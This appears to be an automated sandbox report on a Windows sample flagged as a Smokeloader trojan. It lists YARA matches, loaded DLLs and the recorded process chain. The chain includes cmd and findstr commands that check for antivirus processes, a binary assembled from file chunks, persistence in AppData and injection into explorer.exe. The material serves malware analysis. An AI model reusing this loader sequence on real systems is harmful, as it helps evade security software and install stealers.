        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: String function: 0072FE52 appears 40 times
        Source: file.exeStatic PE information: invalid certificate
        Source: WalletService.dll.mui.26.drStatic PE information: No import functions for PE file found
        Source: file.exe, 00000000.00000003.1483016898.00000000028F0000.00000004.00000020.00020000.00000000.sdmpBinary or memory string: OriginalFilenameAutoIt3.exeP vs file.exe
        Source: file.exeStatic PE information: EXECUTABLE_IMAGE, 32BIT_MACHINE
        Source: 0000000F.00000002.1812617875.0000000002C70000.00000004.00001000.00020000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
        Source: 0000000F.00000002.1812665092.0000000002C91000.00000004.10000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
        Source: 00000010.00000002.2737063558.0000000000BA1000.00000020.80000000.00040000.00000000.sdmp, type: MEMORYMatched rule: Windows_Trojan_Smokeloader_4e31426e reference_sample = 1ce643981821b185b8ad73b798ab5c71c6c40e1f547b8e5b19afdaa4ca2a5174, os = windows, severity = x86, creation_date = 2021-07-21, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Smokeloader, fingerprint = cf6d8615643198bc53527cb9581e217f8a39760c2e695980f808269ebe791277, id = 4e31426e-d62e-4b6d-911b-4223e1f6adef, last_modified = 2021-08-23
        Source: classification engineClassification label: mal100.troj.spyw.evad.winEXE@41/64@4/2
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A040CC GetLastError,FormatMessageW,11_2_00A040CC
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009F1939 AdjustTokenPrivileges,CloseHandle,11_2_009F1939
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009F1F3D LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,11_2_009F1F3D
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009F1939 AdjustTokenPrivileges,CloseHandle,14_2_009F1939
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 14_2_009F1F3D LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,14_2_009F1F3D
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00771939 AdjustTokenPrivileges,CloseHandle,19_2_00771939
        Source: C:\Users\user\AppData\Roaming\chhfaciCode function: 19_2_00771F3D LookupPrivilegeValueW,AdjustTokenPrivileges,GetLastError,19_2_00771F3D
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004044A5 GetDlgItem,GetDlgItem,IsDlgButtonChecked,GetDlgItem,GetAsyncKeyState,GetDlgItem,ShowWindow,SetWindowTextW,SHBrowseForFolderW,CoTaskMemFree,lstrcmpiW,lstrcatW,SetDlgItemTextW,GetDiskFreeSpaceW,MulDiv,SetDlgItemTextW,0_2_004044A5
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_009FDC3E CreateToolhelp32Snapshot,Process32FirstW,Process32NextW,CompareStringW,CloseHandle,11_2_009FDC3E
        Source: C:\Users\user\Desktop\file.exeCode function: 0_2_004024FB CoCreateInstance,0_2_004024FB
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comCode function: 11_2_00A038E0 CreateStreamOnHGlobal,FindResourceExW,LoadResource,SizeofResource,LockResource,11_2_00A038E0
        Source: C:\Windows\explorer.exeFile created: C:\Users\user\AppData\Roaming\chhfaciJump to behavior
        Source: C:\Windows\System32\conhost.exeMutant created: \Sessions\1\BaseNamedObjects\Local\SM0:6692:120:WilError_03
        Source: C:\Users\user\Desktop\file.exeFile created: C:\Users\user\AppData\Local\Temp\nsd52E7.tmpJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exeJump to behavior
        Source: file.exeStatic PE information: Section: .text IMAGE_SCN_CNT_CODE, IMAGE_SCN_MEM_EXECUTE, IMAGE_SCN_MEM_READ
        Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
        Source: C:\Windows\SysWOW64\tasklist.exeWMI Queries: IWbemServices::ExecQuery - root\cimv2 : SELECT __PATH, ProcessId, CSName, Caption, SessionId, ThreadCount, WorkingSetSize, KernelModeTime, UserModeTime FROM Win32_Process
        Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\desktop.iniJump to behavior
        Source: C:\Users\user\Desktop\file.exeKey opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiersJump to behavior
        Source: file.exeReversingLabs: Detection: 15%
        Source: C:\Users\user\Desktop\file.exeFile read: C:\Users\user\Desktop\file.exeJump to behavior
        Source: unknownProcess created: C:\Users\user\Desktop\file.exe "C:\Users\user\Desktop\file.exe"
        Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmd
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc"
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklist
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth"
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 390641
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "ConventionTroopsStudiedTooth" Version
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et B
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com Imposed.com B
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.com
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.com
        Source: unknownProcess created: C:\Users\user\AppData\Roaming\chhfaci C:\Users\user\AppData\Roaming\chhfaci
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exe
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exe
        Source: C:\Users\user\Desktop\file.exeProcess created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c copy Frequently Frequently.cmd & Frequently.cmdJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /I "wrsa opssvc" Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\tasklist.exe tasklistJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr "AvastUI AVGUI bdservicehost nsWscSvc ekrn SophosHealth" Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c md 390641Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\findstr.exe findstr /V "ConventionTroopsStudiedTooth" Version Jump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\cmd.exe cmd /c copy /b ..\Accessing + ..\Entire + ..\Peripherals + ..\Et BJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com Imposed.com BJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeProcess created: C:\Windows\SysWOW64\choice.exe choice /d y /t 5Jump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.comJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comProcess created: C:\Users\user\AppData\Local\Temp\390641\Imposed.com C:\Users\user\AppData\Local\Temp\390641\Imposed.comJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\explorer.exe C:\Windows\explorer.exeJump to behavior
        Source: C:\Windows\explorer.exeProcess created: C:\Windows\SysWOW64\explorer.exe C:\Windows\SysWOW64\explorer.exeJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: version.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: shfolder.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: riched20.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: usp10.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: msls31.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: textinputframework.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: coreuicomponents.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: textshaping.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: edputil.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: appresolver.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: bcp47langs.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: slc.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: sppc.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: onecorecommonproxystub.dllJump to behavior
        Source: C:\Users\user\Desktop\file.exeSection loaded: onecoreuapcommonproxystub.dllJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeSection loaded: cmdext.dllJump to behavior
        Source: C:\Windows\SysWOW64\cmd.exeSection loaded: apphelp.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: mpr.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: framedynos.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: dbghelp.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: wbemcomn.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: winsta.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: amsi.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\SysWOW64\tasklist.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: wsock32.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: version.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: winmm.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: mpr.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: wininet.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: userenv.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: uxtheme.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: napinsp.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: pnrpnsp.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: wshbth.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: nlaapi.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: mswsock.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: dnsapi.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: winrnr.dllJump to behavior
        Source: C:\Users\user\AppData\Local\Temp\390641\Imposed.comSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\SysWOW64\choice.exeSection loaded: version.dllJump to behavior
        Source: C:\Windows\explorer.exeSection loaded: windows.cloudstore.schema.shell.dllJump to behavior
        Source: C:\Windows\explorer.exeSection loaded: taskschd.dllJump to behavior
        Source: C:\Windows\explorer.exeSection loaded: webio.dllJump to behavior
        Source: C:\Windows\explorer.exeSection loaded: networkexplorer.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: wsock32.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: version.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: winmm.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: mpr.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: wininet.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: userenv.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: uxtheme.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: windows.storage.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: wldp.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: dui70.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: duser.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: dwmapi.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: textinputframework.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: coreuicomponents.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: coremessaging.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: ntmarta.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: wintypes.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: textshaping.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: edputil.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: explorerframe.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: windowscodecs.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: profapi.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: thumbcache.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: dataexchange.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: d3d11.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: dcomp.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: dxgi.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: twinapi.appcore.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: windows.ui.fileexplorer.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: propsys.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: oleacc.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: assignedaccessruntime.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: xmllite.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: windows.fileexplorer.common.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: linkinfo.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: structuredquery.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: atlthunk.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: iertutil.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: windows.staterepositoryps.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: windows.storage.search.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: twinapi.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: ntshrui.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: sspicli.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: srvcli.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: cscapi.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: actxprxy.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: apphelp.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: networkexplorer.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: policymanager.dllJump to behavior
        Source: C:\Users\user\AppData\Roaming\chhfaciSection loaded: msvcp110_win.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: aepic.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: twinapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: userenv.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: iphlpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: powrprof.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dxgi.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: propsys.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: coremessaging.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: urlmon.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: windows.storage.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wtsapi32.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wininet.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: uxtheme.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dwmapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: sspicli.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: kernel.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: twinapi.appcore.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: ntmarta.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: cryptsp.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wldp.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: iertutil.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: srvcli.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: netutils.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: umpdc.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: winhttp.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: vaultcli.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: wintypes.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dpapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: cryptbase.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: profapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dhcpcsvc6.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dhcpcsvc.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: ondemandconnroutehelper.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: webio.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: mswsock.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: winnsi.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: dnsapi.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: rasadhlp.dllJump to behavior
        Source: C:\Windows\SysWOW64\explorer.exeSection loaded: fwpuclnt.dllJump to behavior
        Source: C:\Windows\explorer.exeSection loaded: aepic.dll
        Source: C:\Windows\explorer.exeSection loaded: twinapi.dll
        Source: C:\Windows\explorer.exeSection loaded: userenv.dll
        Source: C:\Windows\explorer.exeSection loaded: iphlpapi.dll
        Source: C:\Windows\explorer.exeSection loaded: powrprof.dll
        Source: C:\Windows\explorer.exeSection loaded: windows.storage.dll
        Source: C:\Windows\explorer.exeSection loaded: dxgi.dll
